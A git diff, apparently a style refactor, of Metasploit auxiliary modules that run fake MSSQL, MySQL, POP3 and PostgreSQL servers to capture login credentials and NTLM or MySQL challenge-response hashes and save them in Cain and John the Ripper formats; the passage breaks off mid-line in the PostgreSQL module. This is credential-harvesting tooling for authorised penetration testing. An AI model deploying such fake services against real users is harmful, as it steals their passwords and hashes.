NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge, - :cli_challenge => [lm_cli_challenge].pack("H*"), - :user => Rex::Text::to_ascii(user), - :domain => Rex::Text::to_ascii(domain), - :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'lm' }) - lm_hash_message = "Disabled (from empty password)" + elsif NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [lm_hash].pack('H*'), srv_challenge: @challenge, + cli_challenge: [lm_cli_challenge].pack('H*'), + user: Rex::Text.to_ascii(user), + domain: Rex::Text.to_ascii(domain), + ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE, type: 'lm' + }) + lm_hash_message = 'Disabled (from empty password)' lm_chall_message = 'Disabled' else lm_hash_message = lm_hash lm_chall_message = lm_cli_challenge end when NTLM_CONST::NTLM_2_SESSION_RESPONSE - if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge, - :cli_challenge => [lm_hash].pack("H*")[0,8], - :ntlm_ver => NTLM_CONST::NTLM_2_SESSION_RESPONSE, :type => 'ntlm' }) - print_status("NTLM2_session Hash correspond to an empty password, ignoring ... ") + if NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [nt_hash].pack('H*'), srv_challenge: @challenge, + cli_challenge: [lm_hash].pack('H*')[0, 8], + ntlm_ver: NTLM_CONST::NTLM_2_SESSION_RESPONSE, type: 'ntlm' + }) + print_status('NTLM2_session Hash correspond to an empty password, ignoring ... ') return end lm_hash_message = lm_hash @@ -225,35 +237,35 @@ def mssql_get_hash(arg = {}) end # Display messages - domain = Rex::Text::to_ascii(domain) - user = Rex::Text::to_ascii(user) + domain = Rex::Text.to_ascii(domain) + user = Rex::Text.to_ascii(user) capturedtime = Time.now.to_s case ntlm_ver when NTLM_CONST::NTLM_V1_RESPONSE smb_db_type_hash = Metasploit::Framework::Hashes::JTR_NTLMV1 capturelogmessage = - "#{capturedtime}\nNTLMv1 Response Captured from #{host} \n" + - "DOMAIN: #{domain} USER: #{user} \n" + - "LMHASH:#{lm_hash_message ? lm_hash_message : ""} \nNTHASH:#{nt_hash ? nt_hash : ""}\n" + "#{capturedtime}\nNTLMv1 Response Captured from #{host} \n" \ + "DOMAIN: #{domain} USER: #{user} \n" \ + "LMHASH:#{lm_hash_message || ''} \nNTHASH:#{nt_hash || ''}\n" when NTLM_CONST::NTLM_V2_RESPONSE smb_db_type_hash = Metasploit::Framework::Hashes::JTR_NTLMV2 capturelogmessage = - "#{capturedtime}\nNTLMv2 Response Captured from #{host} \n" + - "DOMAIN: #{domain} USER: #{user} \n" + - "LMHASH:#{lm_hash_message ? lm_hash_message : ""} " + - "LM_CLIENT_CHALLENGE:#{lm_chall_message ? lm_chall_message : ""}\n" + - "NTHASH:#{nt_hash ? nt_hash : ""} " + - "NT_CLIENT_CHALLENGE:#{nt_cli_challenge ? nt_cli_challenge : ""}\n" + "#{capturedtime}\nNTLMv2 Response Captured from #{host} \n" \ + "DOMAIN: #{domain} USER: #{user} \n" \ + "LMHASH:#{lm_hash_message || ''} " \ + "LM_CLIENT_CHALLENGE:#{lm_chall_message || ''}\n" \ + "NTHASH:#{nt_hash || ''} " \ + "NT_CLIENT_CHALLENGE:#{nt_cli_challenge || ''}\n" when NTLM_CONST::NTLM_2_SESSION_RESPONSE - #we can consider those as netv1 has they have the same size and i cracked the same way by cain/jtr - #also 'real' netv1 is almost never seen nowadays except with smbmount or msf server capture + # we can consider those as netv1 has they have the same size and i cracked the same way by cain/jtr + # also 'real' netv1 is almost never seen nowadays except with smbmount or msf server capture smb_db_type_hash = Metasploit::Framework::Hashes::JTR_NTLMV1 capturelogmessage = - "#{capturedtime}\nNTLM2_SESSION Response Captured from #{host} \n" + - "DOMAIN: #{domain} USER: #{user} \n" + - "NTHASH:#{nt_hash ? nt_hash : ""}\n" + - "NT_CLIENT_CHALLENGE:#{lm_hash_message ? lm_hash_message[0,16] : ""} \n" + "#{capturedtime}\nNTLM2_SESSION Response Captured from #{host} \n" \ + "DOMAIN: #{domain} USER: #{user} \n" \ + "NTHASH:#{nt_hash || ''}\n" \ + "NT_CLIENT_CHALLENGE:#{lm_hash_message ? lm_hash_message[0, 16] : ''} \n" else # should not happen return @@ -266,11 +278,11 @@ def mssql_get_hash(arg = {}) # will be mainly use for psexec / smb related exploit jtr_hash = case smb_db_type_hash - when Metasploit::Framework::Hashes::JTR_NTLMV2 - user + "::" + domain + ":" + datastore['CHALLENGE'].to_s + ":" + nt_hash + ":" + nt_cli_challenge.to_s - when Metasploit::Framework::Hashes::JTR_NTLMV1 - user + "::" + domain + ":" + lm_cli_challenge.to_s + ":" + lm_hash + ":" + datastore['CHALLENGE'] - end + when Metasploit::Framework::Hashes::JTR_NTLMV2 + user + '::' + domain + ':' + datastore['CHALLENGE'].to_s + ':' + nt_hash + ':' + nt_cli_challenge.to_s + when Metasploit::Framework::Hashes::JTR_NTLMV1 + user + '::' + domain + ':' + lm_cli_challenge.to_s + ':' + lm_hash + ':' + datastore['CHALLENGE'] + end report_cred( ip: ip, @@ -282,63 +294,61 @@ def mssql_get_hash(arg = {}) type: :nonreplayable_hash, jtr_format: smb_db_type_hash ) - #if(datastore['LOGFILE']) + # if(datastore['LOGFILE']) # File.open(datastore['LOGFILE'], "ab") {|fd| fd.puts(capturelogmessage + "\n")} - #end + # end - if(datastore['CAINPWFILE'] and user) - if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE - fd = File.open(datastore['CAINPWFILE'], "ab") - fd.puts( + if datastore['CAINPWFILE'] && user && ((ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE) || (ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE)) + fd = File.open(datastore['CAINPWFILE'], 'ab') + fd.puts( [ user, - domain ? domain : "NULL", - @challenge.unpack("H*")[0], - lm_hash ? lm_hash : "0" * 48, - nt_hash ? nt_hash : "0" * 48 - ].join(":").gsub(/\n/, "\\n") - ) - fd.close - end + domain || 'NULL', + @challenge.unpack('H*')[0], + lm_hash || '0' * 48, + nt_hash || '0' * 48 + ].join(':').gsub(/\n/, '\\n') + ) + fd.close end - if(datastore['JOHNPWFILE'] and user) + if datastore['JOHNPWFILE'] && user case ntlm_ver when NTLM_CONST::NTLM_V1_RESPONSE, NTLM_CONST::NTLM_2_SESSION_RESPONSE - fd = File.open(datastore['JOHNPWFILE'] + '_netntlm', "ab") + fd = File.open(datastore['JOHNPWFILE'] + '_netntlm', 'ab') fd.puts( - [ - user,"", - domain ? domain : "NULL", - lm_hash ? lm_hash : "0" * 48, - nt_hash ? nt_hash : "0" * 48, - @challenge.unpack("H*")[0] - ].join(":").gsub(/\n/, "\\n") - ) - fd.close + [ + user, '', + domain || 'NULL', + lm_hash || '0' * 48, + nt_hash || '0' * 48, + @challenge.unpack('H*')[0] + ].join(':').gsub(/\n/, '\\n') + ) + fd.close when NTLM_CONST::NTLM_V2_RESPONSE - #lmv2 - fd = File.open(datastore['JOHNPWFILE'] + '_netlmv2', "ab") + # lmv2 + fd = File.open(datastore['JOHNPWFILE'] + '_netlmv2', 'ab') fd.puts( [ - user,"", - domain ? domain : "NULL", - @challenge.unpack("H*")[0], - lm_hash ? lm_hash : "0" * 32, - lm_cli_challenge ? lm_cli_challenge : "0" * 16 - ].join(":").gsub(/\n/, "\\n") + user, '', + domain || 'NULL', + @challenge.unpack('H*')[0], + lm_hash || '0' * 32, + lm_cli_challenge || '0' * 16 + ].join(':').gsub(/\n/, '\\n') ) fd.close - #ntlmv2 - fd = File.open(datastore['JOHNPWFILE'] + '_netntlmv2' , "ab") + # ntlmv2 + fd = File.open(datastore['JOHNPWFILE'] + '_netntlmv2', 'ab') fd.puts( [ - user,"", - domain ? domain : "NULL", - @challenge.unpack("H*")[0], - nt_hash ? nt_hash : "0" * 32, - nt_cli_challenge ? nt_cli_challenge : "0" * 160 - ].join(":").gsub(/\n/, "\\n") + user, '', + domain || 'NULL', + @challenge.unpack('H*')[0], + nt_hash || '0' * 32, + nt_cli_challenge || '0' * 160 + ].join(':').gsub(/\n/, '\\n') ) fd.close end @@ -349,35 +359,37 @@ def mssql_get_hash(arg = {}) def mssql_parse_ntlmsspi(data, info) start = data.index('NTLMSSP') if start - data.slice!(0,start) + data.slice!(0, start) else - print_error("Failed to find NTLMSSP authentication blob") + print_error('Failed to find NTLMSSP authentication blob') return end - ntlm_message = NTLM_MESSAGE::parse(data) + ntlm_message = NTLM_MESSAGE.parse(data) case ntlm_message when NTLM_MESSAGE::Type3 - lm_len = ntlm_message.lm_response.length # Always 24 + ntlm_message.lm_response.length # Always 24 nt_len = ntlm_message.ntlm_response.length - if nt_len == 24 #lmv1/ntlmv1 or ntlm2_session - arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, - :lm_hash => ntlm_message.lm_response.unpack('H*')[0], - :nt_hash => ntlm_message.ntlm_response.unpack('H*')[0] + if nt_len == 24 # lmv1/ntlmv1 or ntlm2_session + arg = { + ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE, + lm_hash: ntlm_message.lm_response.unpack('H*')[0], + nt_hash: ntlm_message.ntlm_response.unpack('H*')[0] } - if @s_ntlm_esn && arg[:lm_hash][16,32] == '0' * 32 + if @s_ntlm_esn && arg[:lm_hash][16, 32] == '0' * 32 arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE end # if the length of the ntlm response is not 24 then it will be bigger and represent # a ntlmv2 response - elsif nt_len > 24 #lmv2/ntlmv2 - arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, - :lm_hash => ntlm_message.lm_response[0, 16].unpack('H*')[0], - :lm_cli_challenge => ntlm_message.lm_response[16, 8].unpack('H*')[0], - :nt_hash => ntlm_message.ntlm_response[0, 16].unpack('H*')[0], - :nt_cli_challenge => ntlm_message.ntlm_response[16, nt_len - 16].unpack('H*')[0] + elsif nt_len > 24 # lmv2/ntlmv2 + arg = { + ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE, + lm_hash: ntlm_message.lm_response[0, 16].unpack('H*')[0], + lm_cli_challenge: ntlm_message.lm_response[16, 8].unpack('H*')[0], + nt_hash: ntlm_message.ntlm_response[0, 16].unpack('H*')[0], + nt_cli_challenge: ntlm_message.ntlm_response[16, nt_len - 16].unpack('H*')[0] } elsif nt_len == 0 print_status("Empty hash from #{smb[:name]} captured, ignoring ... ") @@ -388,21 +400,21 @@ def mssql_parse_ntlmsspi(data, info) end arg[:user] = ntlm_message.user - arg[:domain] = ntlm_message.domain + arg[:domain] = ntlm_message.domain arg[:ip] = info[:ip] arg[:host] = info[:ip] begin mssql_get_hash(arg) - rescue ::Exception => e + rescue StandardError => e print_error("Error processing Hash from #{smb[:name]} : #{e.class} #{e} #{e.backtrace}") end else - info[:errors] << "Unsupported NTLM authentication message type" + info[:errors] << 'Unsupported NTLM authentication message type' end # slice of remainder - data.slice!(0,data.length) + data.slice!(0, data.length) end # @@ -410,9 +422,10 @@ def mssql_parse_ntlmsspi(data, info) # def mssql_parse_reply(data, info) info[:errors] = [] - return if not data - until data.empty? or ( info[:errors] and not info[:errors].empty? ) - token = data.slice!(0,1).unpack('C')[0] + return if !data + + until data.empty? || (info[:errors] && !info[:errors].empty?) + token = data.slice!(0, 1).unpack('C')[0] case token when Constants::TDS_MSG_LOGIN mssql_parse_login(data, info) @@ -431,7 +444,7 @@ def mssql_parse_reply(data, info) end # Sends an error message to the MSSQL client - def mssql_send_error(c, msg) + def mssql_send_error(client, msg) data = [ Constants::TDS_MSG_RESPONSE, 1, # status @@ -444,18 +457,18 @@ def mssql_send_error(c, msg) 18456, # SQL Error number 1, # state: 1 14, # severity: 14 - msg.length, # error msg length + msg.length, # error msg length 0, - Rex::Text::to_unicode(msg), + Rex::Text.to_unicode(msg), 0, # server name length 0, # process name length 0, # line number - "fd0200000000000000" - ].pack("CCnnCCCvVCCCCA*CCnH*") - c.put data + 'fd0200000000000000' + ].pack('CCnnCCCvVCCCCA*CCnH*') + client.put data end - def mssql_send_ntlm_challenge(c, info) + def mssql_send_ntlm_challenge(client, _info) win_domain = Rex::Text.to_unicode(@domain_name.upcase) win_name = Rex::Text.to_unicode(@domain_name.upcase) dns_domain = Rex::Text.to_unicode(@domain_name.downcase) @@ -464,15 +477,15 @@ def mssql_send_ntlm_challenge(c, info) if @s_ntlm_esn sb_flag = 0xe28a8215 # ntlm2 else - sb_flag = 0xe2828215 #no ntlm2 + sb_flag = 0xe2828215 # no ntlm2 end - securityblob = NTLM_UTILS::make_ntlmssp_blob_chall( win_domain, - win_name, - dns_domain, - dns_name, - @challenge, - sb_flag) + securityblob = NTLM_UTILS.make_ntlmssp_blob_chall(win_domain, + win_name, + dns_domain, + dns_name, + @challenge, + sb_flag) data = [ Constants::TDS_MSG_RESPONSE, @@ -481,33 +494,33 @@ def mssql_send_ntlm_challenge(c, info) 0x0000, # channel 0x01, # packetno 0x00, # window - Constants::TDS_TOKEN_AUTH, # token: authentication + Constants::TDS_TOKEN_AUTH, # token: authentication securityblob.length, # length securityblob - ].pack("CCnnCCCvA*") - c.put data + ].pack('CCnnCCCvA*') + client.put data end - def mssql_send_prelogin_response(c, info) + def mssql_send_prelogin_response(client, _info) data = [ Constants::TDS_MSG_RESPONSE, 1, # status 0x002b, # length - "0000010000001a00060100200001020021000103002200000400220001ff0a3206510000020000" - ].pack("CCnH*") - c.put data + '0000010000001a00060100200001020021000103002200000400220001ff0a3206510000020000' + ].pack('CCnH*') + client.put data end - def on_client_data(c) - info = {:errors => [], :ip => @state[c][:ip]} - data = c.get_once - return if not data + def on_client_data(client) + info = { errors: [], ip: @state[client][:ip] } + data = client.get_once + return if !data info = mssql_parse_reply(data, info) - if(info[:errors] and not info[:errors].empty?) - print_error("#{info[:errors]}") - c.close + if info[:errors] && !info[:errors].empty? + print_error(info[:errors].to_s) + client.close return end @@ -517,34 +530,34 @@ def on_client_data(c) # password authentication. case info[:type] when Constants::TDS_MSG_PRELOGIN - mssql_send_prelogin_response(c, info) + mssql_send_prelogin_response(client, info) when Constants::TDS_MSG_SSPI - mssql_send_error(c, "Error: Login failed. The login is from an untrusted domain and cannot be used with Windows authentication.") + mssql_send_error(client, 'Error: Login failed. The login is from an untrusted domain and cannot be used with Windows authentication.') when Constants::TDS_MSG_LOGIN if info[:isntlm?] == true - mssql_send_ntlm_challenge(c, info) - elsif info[:user] and info[:pass] + mssql_send_ntlm_challenge(client, info) + elsif info[:user] && info[:pass] report_cred( - ip: @state[c][:ip], + ip: @state[client][:ip], sname: 'mssql_client', user: info[:user], password: info[:pass], type: :password ) - print_status("MSSQL LOGIN #{@state[c][:name]} #{info[:user]} / #{info[:pass]}") - mssql_send_error(c, "Login failed for user '#{info[:user]}'.") + print_status("MSSQL LOGIN #{@state[client][:name]} #{info[:user]} / #{info[:pass]}") + mssql_send_error(client, "Login failed for user '#{info[:user]}'.") - c.close + client.close end end end - def on_client_close(c) - @state.delete(c) + def on_client_close(client) + @state.delete(client) end def report_cred(opts) diff --git a/modules/auxiliary/server/capture/mysql.rb b/modules/auxiliary/server/capture/mysql.rb index 9b6706c21b3d2..6266b0451be12 100644 --- a/modules/auxiliary/server/capture/mysql.rb +++ b/modules/auxiliary/server/capture/mysql.rb @@ -9,27 +9,28 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Authentication Capture: MySQL', - 'Description' => %q{ + 'Name' => 'Authentication Capture: MySQL', + 'Description' => %q{ This module provides a fake MySQL service that is designed to capture authentication credentials. It captures challenge and response pairs that can be supplied to Cain or JtR for cracking. }, - 'Author' => 'Patrik Karlsson ', - 'License' => MSF_LICENSE, - 'Actions' => [[ 'Capture', 'Description' => 'Run MySQL capture server' ]], + 'Author' => 'Patrik Karlsson ', + 'License' => MSF_LICENSE, + 'Actions' => [[ 'Capture', { 'Description' => 'Run MySQL capture server' } ]], 'PassiveActions' => [ 'Capture' ], - 'DefaultAction' => 'Capture' + 'DefaultAction' => 'Capture' ) register_options( [ - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 3306 ]), - OptString.new('CHALLENGE', [ true, "The 16 byte challenge", "112233445566778899AABBCCDDEEFF1122334455" ]), - OptString.new('SRVVERSION', [ true, "The server version to report in the greeting response", "5.5.16" ]), - OptString.new('CAINPWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ]), - OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]), - ]) + OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 3306 ]), + OptString.new('CHALLENGE', [ true, 'The 16 byte challenge', '112233445566778899AABBCCDDEEFF1122334455' ]), + OptString.new('SRVVERSION', [ true, 'The server version to report in the greeting response', '5.5.16' ]), + OptString.new('CAINPWFILE', [ false, 'The local filename to store the hashes in Cain&Abel format', nil ]), + OptString.new('JOHNPWFILE', [ false, 'The prefix to the local filename to store the hashes in JOHN format', nil ]), + ] + ) end def setup @@ -39,89 +40,90 @@ def setup def run if datastore['CHALLENGE'].to_s =~ /^([a-fA-F1-9]{40})$/ - @challenge = [ datastore['CHALLENGE'] ].pack("H*") + @challenge = [ datastore['CHALLENGE'] ].pack('H*') else - print_error("CHALLENGE syntax must match 112233445566778899AABBCCDDEEFF1122334455") + print_error('CHALLENGE syntax must match 112233445566778899AABBCCDDEEFF1122334455') return end @version = datastore['SRVVERSION'] - exploit() + exploit end - def on_client_connect(c) - @state[c] = { - :name => "#{c.peerhost}:#{c.peerport}", - :ip => c.peerhost, - :port => c.peerport, + def on_client_connect(client) + @state[client] = { + name: "#{client.peerhost}:#{client.peerport}", + ip: client.peerhost, + port: client.peerport } - mysql_send_greeting(c) + mysql_send_greeting(client) end - def mysql_send_greeting(c) + def mysql_send_greeting(client) # https://dev.mysql.com/doc/internals/en/connection-phase-packets.html length = 68 + @version.length packetno = 0 chall = String.new(@challenge) data = [ - ( length & 0x00FFFFFF ) + ( packetno << 24 ), # length + packet no + (length & 0x00FFFFFF) + (packetno << 24), # length + packet no 10, # protocol version: 10e @version, # server version: 5.5.16 (unless changed) - rand(9999) + 1, # thread id - chall.slice!(0,8), # the first 8 bytes of the challenge + rand(1..9999), # thread id + chall.slice!(0, 8), # the first 8 bytes of the challenge 0x00, # filler 0xfff7, # server capabilities 0x21, # server language: UTF8 0x0002, # server status - "0f801500000000000000000000", # filler - chall.slice!(0,12), - "mysql_native_password" - ].pack("VCZ*VA*CnCvH*Z*Z*") - c.put data + '0f801500000000000000000000', # filler + chall.slice!(0, 12), + 'mysql_native_password' + ].pack('VCZ*VA*CnCvH*Z*Z*') + client.put data end def mysql_process_login(data, info) - length = ( data.slice(0,4).unpack("V")[0] & 0x00FFFFFF ) - packetno = ( data.slice!(0,4).unpack("V")[0] & 0xFF000000 ) >> 24 - flags = data.slice!(0,2).unpack("v")[0] - if ( flags & 0x8000 ) != 0x8000 - info[:errors] << "Unsupported protocol detected" + (data.slice(0, 4).unpack('V')[0] & 0x00FFFFFF) + (data.slice!(0, 4).unpack('V')[0] & 0xFF000000) >> 24 + flags = data.slice!(0, 2).unpack('v')[0] + if (flags & 0x8000) != 0x8000 + info[:errors] << 'Unsupported protocol detected' return info end # we're dealing with the 4.1+ protocol - extflags = data.slice!(0,2).unpack("v")[0] - maxpacket= data.slice!(0,4).unpack("N")[0] - charset = data.slice!(0,1).unpack("C")[0] + data.slice!(0, 2).unpack('v')[0] + data.slice!(0, 4).unpack('N')[0] + data.slice!(0, 1).unpack('C')[0] # slice away 23 bytes of filler - data.slice!(0,23) + data.slice!(0, 23) - info[:username] = data.slice!(0, data.index("\x00")+1).unpack("Z*")[0] - response_len = data.slice!(0,1).unpack("C")[0] + info[:username] = data.slice!(0, data.index("\x00") + 1).unpack('Z*')[0] + response_len = data.slice!(0, 1).unpack('C')[0] if response_len != 20 return end - info[:response] = data.slice!(0, 20).unpack("A*")[0] - if ( flags & 0x0008 ) == 0x0008 - info[:database] = data.slice!(0, data.index("\x00")).unpack("A*")[0] + info[:response] = data.slice!(0, 20).unpack('A*')[0] + + if (flags & 0x0008) == 0x0008 + info[:database] = data.slice!(0, data.index("\x00")).unpack('A*')[0] end info end - def mysql_send_error(c, msg) + def mysql_send_error(client, msg) length = 9 + msg.length packetno = 2 data = [ - ( length & 0x00FFFFFF ) + ( packetno << 24 ), # length + packet no + (length & 0x00FFFFFF) + (packetno << 24), # length + packet no 0xFF, # field count, always: ff 1045, # error code 0x23, # sqlstate marker, always '#' - "28000", # sqlstate + '28000', # sqlstate msg - ].pack("VCvCA*A*") - c.put data + ].pack('VCvCA*A*') + client.put data end def report_cred(opts) @@ -150,59 +152,59 @@ def report_cred(opts) create_credential_login(login_data) end - def on_client_data(c) - info = { :errors => [] } - data = c.get_once - return if not data + def on_client_data(client) + info = { errors: [] } + data = client.get_once + return if !data mysql_process_login(data, info) - if info[:errors] and not info[:errors].empty? - print_error("#{@state[c][:name]} #{info[:errors].join("\n")}") - elsif info[:username] and info[:response] - mysql_send_error(c, "Access denied for user '#{info[:username]}'@'#{c.peerhost}' (using password: YES)") + if info[:errors] && !info[:errors].empty? + print_error("#{@state[client][:name]} #{info[:errors].join("\n")}") + elsif info[:username] && info[:response] + mysql_send_error(client, "Access denied for user '#{info[:username]}'@'#{client.peerhost}' (using password: YES)") if info[:database] - print_good("#{@state[c][:name]} - User: #{info[:username]}; Challenge: #{@challenge.unpack('H*')[0]}; Response: #{info[:response].unpack('H*')[0]}; Database: #{info[:database]}") + print_good("#{@state[client][:name]} - User: #{info[:username]}; Challenge: #{@challenge.unpack('H*')[0]}; Response: #{info[:response].unpack('H*')[0]}; Database: #{info[:database]}") else - print_good("#{@state[c][:name]} - User: #{info[:username]}; Challenge: #{@challenge.unpack('H*')[0]}; Response: #{info[:response].unpack('H*')[0]}") + print_good("#{@state[client][:name]} - User: #{info[:username]}; Challenge: #{@challenge.unpack('H*')[0]}; Response: #{info[:response].unpack('H*')[0]}") end - hash_line = "#{info[:username]}:$mysql$#{@challenge.unpack("H*")[0]}$#{info[:response].unpack('H*')[0]}" + hash_line = "#{info[:username]}:$mysql$#{@challenge.unpack('H*')[0]}$#{info[:response].unpack('H*')[0]}" report_cred( - ip: c.peerhost, + ip: client.peerhost, port: datastore['SRVPORT'], service_name: 'mysql_client', user: info[:username], password: hash_line, - proof: info[:database] ? info[:database] : hash_line + proof: info[:database] || hash_line ) - if (datastore['CAINPWFILE']) - fd = ::File.open(datastore['CAINPWFILE'], "ab") + if datastore['CAINPWFILE'] + fd = ::File.open(datastore['CAINPWFILE'], 'ab') fd.puts( - [ - info[:username], - "NULL", - info[:response].unpack('H*')[0], - @challenge.unpack('H*')[0], - "SHA1" - ].join("\t").gsub(/\n/, "\\n") + [ + info[:username], + 'NULL', + info[:response].unpack('H*')[0], + @challenge.unpack('H*')[0], + 'SHA1' + ].join("\t").gsub(/\n/, '\\n') ) fd.close end - if(datastore['JOHNPWFILE']) - john_hash_line = "#{info[:username]}:$mysqlna$#{@challenge.unpack("H*")[0]}*#{info[:response].unpack('H*')[0]}" - fd = ::File.open(datastore['JOHNPWFILE'] + '_mysqlna' , "ab") + if datastore['JOHNPWFILE'] + john_hash_line = "#{info[:username]}:$mysqlna$#{@challenge.unpack('H*')[0]}*#{info[:response].unpack('H*')[0]}" + fd = ::File.open(datastore['JOHNPWFILE'] + '_mysqlna', 'ab') fd.puts john_hash_line fd.close end else - mysql_send_error(c, "Access denied for user '#{info[:username]}'@'#{c.peerhost}' (using password: NO)") + mysql_send_error(client, "Access denied for user '#{info[:username]}'@'#{client.peerhost}' (using password: NO)") end - c.close + client.close end - def on_client_close(c) - @state.delete(c) + def on_client_close(client) + @state.delete(client) end end diff --git a/modules/auxiliary/server/capture/pop3.rb b/modules/auxiliary/server/capture/pop3.rb index 9d678de94a47e..305318c34f1b0 100644 --- a/modules/auxiliary/server/capture/pop3.rb +++ b/modules/auxiliary/server/capture/pop3.rb @@ -7,31 +7,34 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer include Msf::Auxiliary::Report - def initialize super( - 'Name' => 'Authentication Capture: POP3', - 'Description' => %q{ + 'Name' => 'Authentication Capture: POP3', + 'Description' => %q{ This module provides a fake POP3 service that is designed to capture authentication credentials. }, - 'Author' => ['ddz', 'hdm'], - 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'Capture' , 'Description' => 'Run POP3 capture server' ] - ], - 'PassiveActions' => - [ - 'Capture' - ], - 'DefaultAction' => 'Capture' + 'Author' => ['ddz', 'hdm'], + 'License' => MSF_LICENSE, + 'Actions' => [ + [ 'Capture', { 'Description' => 'Run POP3 capture server' } ] + ], + 'PassiveActions' => [ + 'Capture' + ], + 'DefaultAction' => 'Capture', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options( [ - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 110 ]) - ]) + OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 110 ]) + ] + ) end def setup @@ -42,12 +45,12 @@ def setup def run @myhost = datastore['SRVHOST'] @myport = datastore['SRVPORT'] - exploit() + exploit end - def on_client_connect(c) - @state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport, :user => nil, :pass => nil} - c.put "+OK\r\n" + def on_client_connect(client) + @state[client] = { name: "#{client.peerhost}:#{client.peerport}", ip: client.peerhost, port: client.peerport, user: nil, pass: nil } + client.put "+OK\r\n" end def report_cred(opts) @@ -76,62 +79,62 @@ def report_cred(opts) create_credential_login(login_data) end - def on_client_data(c) - data = c.get_once - return if not data - cmd,arg = data.strip.split(/\s+/, 2) - arg ||= "" + def on_client_data(client) + data = client.get_once + return if !data - if(cmd.upcase == "USER") - @state[c][:user] = arg - c.put "+OK\r\n" + cmd, arg = data.strip.split(/\s+/, 2) + arg ||= '' + + if (cmd.upcase == 'USER') + @state[client][:user] = arg + client.put "+OK\r\n" return end - if(cmd.upcase == "PASS") - @state[c][:pass] = arg + if (cmd.upcase == 'PASS') + @state[client][:pass] = arg report_cred( - ip: @state[c][:ip], + ip: @state[client][:ip], port: @myport, service_name: 'pop3', - user: @state[c][:user], - password: @state[c][:pass], + user: @state[client][:user], + password: @state[client][:pass], proof: arg ) - print_good("POP3 LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}") - @state[c][:pass] = data.strip - c.put "+OK\r\n" + print_good("POP3 LOGIN #{@state[client][:name]} #{@state[client][:user]} / #{@state[client][:pass]}") + @state[client][:pass] = data.strip + client.put "+OK\r\n" return end - if(cmd.upcase == "STAT") - c.put "+OK 0 0\r\n" + if (cmd.upcase == 'STAT') + client.put "+OK 0 0\r\n" return end - if(cmd.upcase == "CAPA") - c.put "-ERR No Extended Capabilities\r\n" + if (cmd.upcase == 'CAPA') + client.put "-ERR No Extended Capabilities\r\n" return end - if(cmd.upcase == "LIST") - c.put "+OK 0 Messages\r\n" + if (cmd.upcase == 'LIST') + client.put "+OK 0 Messages\r\n" return end - if(cmd.upcase == "QUIT" || cmd.upcase == "RSET" || cmd.upcase == "DELE") - c.put "+OK\r\n" + if cmd.upcase == 'QUIT' || cmd.upcase == 'RSET' || cmd.upcase == 'DELE' + client.put "+OK\r\n" return end - print_status("POP3 UNKNOWN CMD #{@state[c][:name]} \"#{data.strip}\"") - c.put "+OK\r\n" + print_status("POP3 UNKNOWN CMD #{@state[client][:name]} \"#{data.strip}\"") + client.put "+OK\r\n" end - def on_client_close(c) - @state.delete(c) + def on_client_close(client) + @state.delete(client) end - end diff --git a/modules/auxiliary/server/capture/postgresql.rb b/modules/auxiliary/server/capture/postgresql.rb index 62d9a125a19ce..35d6847070460 100644 --- a/modules/auxiliary/server/capture/postgresql.rb +++ b/modules/auxiliary/server/capture/postgresql.rb @@ -9,21 +9,27 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Authentication Capture: PostgreSQL', - 'Description' => %q{ + 'Name' => 'Authentication Capture: PostgreSQL', + 'Description' => %q{ This module provides a fake PostgreSQL service that is designed to capture clear-text authentication credentials.}, - 'Author' => 'Dhiru Kholia ', - 'License' => MSF_LICENSE, - 'Actions' => [[ 'Capture', 'Description' => 'Run PostgreSQL capture server' ]], + 'Author' => 'Dhiru Kholia ', + 'License' => MSF_LICENSE, + 'Actions' => [[ 'Capture', { 'Description' => 'Run PostgreSQL capture server' } ]], 'PassiveActions' => [ 'Capture' ], - 'DefaultAction' => 'Capture' + 'DefaultAction' => 'Capture', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options( [ - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 5432 ]), - ]) + OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 5432 ]), + ] + ) end # This module is based on MySQL capture module by Patrik Karlsson. @@ -35,7 +41,7 @@ def setup end def run - exploit() + exploit end def report_cred(opts) @@ -64,68 +70,68 @@ def report_cred(opts) create_credential_login(login_data) end - def on_client_connect(c) - @state[c] = { - :name => "#{c.peerhost}:#{c.peerport}", - :ip => c.peerhost, - :port => c.peerport, + def on_client_connect(client) + @state[client] = { + name: "#{client.peerhost}:#{client.peerport}", + ip: client.peerhost, + port: client.peerport } - @state[c]["status"] = :init + @state[client]['status'] = :init end - def on_client_data(c) - data = c.get_once - return if not data - length = data.slice(0, 4).unpack("N")[0] - if length == 8 and @state[c]["status"] == :init + def on_client_data(client) + data = client.get_once + return if !data + + length = data.slice(0, 4).unpack('N')[0] + if (length == 